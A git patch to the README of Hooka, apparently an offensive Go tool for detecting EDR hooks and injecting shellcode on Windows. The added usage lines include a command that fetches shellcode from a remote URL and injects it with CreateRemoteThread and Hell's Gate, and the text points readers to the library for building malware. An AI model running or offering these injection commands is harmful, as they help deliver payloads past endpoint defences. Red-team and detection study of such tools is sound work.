From 12344a513084820268d06e391f62497bb53bbbd2 Mon Sep 17 00:00:00 2001 From: D3Ext <67125397+D3Ext@users.noreply.github.com> Date: Mon, 13 Feb 2023 22:14:35 +0100 Subject: [PATCH] Update README.md --- README.md | 23 +++++++++++++++-------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 354122c..38d5f68 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,7 @@ I started this project -There's not to much info about detecting Windows hooks in ***Golang*** so I decided to try by my own and I've also taken some code from [BananaPhone]() project (thanks a lot to ***C-Sto**) +There's not to much info about detecting Windows hooks in ***Golang*** so I decided to try by my own and I've also taken some code from [BananaPhone]() project (thanks a lot to ***C-Sto***) # Usage @@ -26,7 +26,6 @@ git clone https://github.com/D3Ext/Hooka ``` ``` -help panel ``` > Detect hooked functions by EDR @@ -44,18 +43,26 @@ help panel .\Hooka.exe --inject Fibers --file shellcode.bin ``` +> Inject shellcode using Hell's Gate +```sh +.\Hooka.exe --inject CreateRemoteThread --url http://192.168.116.37/shellcode.bin --hells +``` + # Demo +> Detecting hooks + + +> Injecting shellcode via CreateRemoteThread + + # Library If you're looking to implement any function in your malware you can do it using the official library API: -```go -... - - - -... +> First of all download the package +```sh +go get github.com/D3Ext/Hooka/pkg ```